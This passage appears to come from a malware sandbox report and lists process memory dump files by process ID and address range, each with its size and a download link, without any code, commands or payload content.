                                                                  • memory/1980-301-0x0000000001450000-0x000000000145E000-memory.dmp

                                                                    Filesize

                                                                    56KB

                                                                    Download

                                                                  • memory/1980-299-0x0000000000A90000-0x0000000000C76000-memory.dmp

                                                                    Filesize

                                                                    1.9MB

                                                                    Download

                                                                  • memory/1980-305-0x000000001B7D0000-0x000000001B7E8000-memory.dmp

                                                                    Filesize

                                                                    96KB

                                                                    Download

                                                                  • memory/3040-455-0x00000000035F0000-0x0000000003602000-memory.dmp

                                                                    Filesize

                                                                    72KB

                                                                    Download

                                                                  • memory/3104-108-0x0000017C02290000-0x0000017C022B2000-memory.dmp

                                                                    Filesize

                                                                    136KB

                                                                    Download

                                                                  • memory/3172-44-0x000001E7360D0000-0x000001E736110000-memory.dmp

                                                                    Filesize

                                                                    256KB

                                                                    Download

                                                                  • memory/3172-147-0x000001E750840000-0x000001E7508B6000-memory.dmp

                                                                    Filesize

                                                                    472KB

                                                                    Download

                                                                  • memory/3172-150-0x000001E7508E0000-0x000001E7508FE000-memory.dmp

                                                                    Filesize

                                                                    120KB

                                                                    Download

                                                                  • memory/3172-203-0x000001E737E90000-0x000001E737E9A000-memory.dmp

                                                                    Filesize

                                                                    40KB

                                                                    Download

                                                                  • memory/3172-204-0x000001E7508C0000-0x000001E7508D2000-memory.dmp

                                                                    Filesize

                                                                    72KB

                                                                    Download

                                                                  • memory/4036-237-0x000000001B3B0000-0x000000001B3C2000-memory.dmp

                                                                    Filesize

                                                                    72KB

                                                                    Download

                                                                  • memory/4712-208-0x000000001C6B0000-0x000000001C706000-memory.dmp

                                                                    Filesize

                                                                    344KB

                                                                    Download

                                                                  • memory/4712-207-0x000000001B7C0000-0x000000001B7D2000-memory.dmp

                                                                    Filesize

                                                                    72KB

                                                                    Download

                                                                  • memory/4888-503-0x000000001BC70000-0x000000001BC82000-memory.dmp

                                                                    Filesize

                                                                    72KB

                                                                    Download

                                                                  • memory/5040-531-0x000000001B180000-0x000000001B192000-memory.dmp

                                                                    Filesize

                                                                    72KB

                                                                    Download

                                                                  • memory/5212-517-0x000000001BC10000-0x000000001BC66000-memory.dmp

                                                                    Filesize

                                                                    344KB

                                                                    Download

                                                                  • memory/5964-495-0x000000001B920000-0x000000001B932000-memory.dmp

                                                                    Filesize

                                                                    72KB

                                                                    Download

                                                                  • memory/6036-423-0x0000000003530000-0x0000000003542000-memory.dmp

                                                                    Filesize

                                                                    72KB

                                                                    Download

                                                                  • memory/6120-553-0x000000001C500000-0x000000001C512000-memory.dmp

                                                                    Filesize

                                                                    72KB

                                                                    Download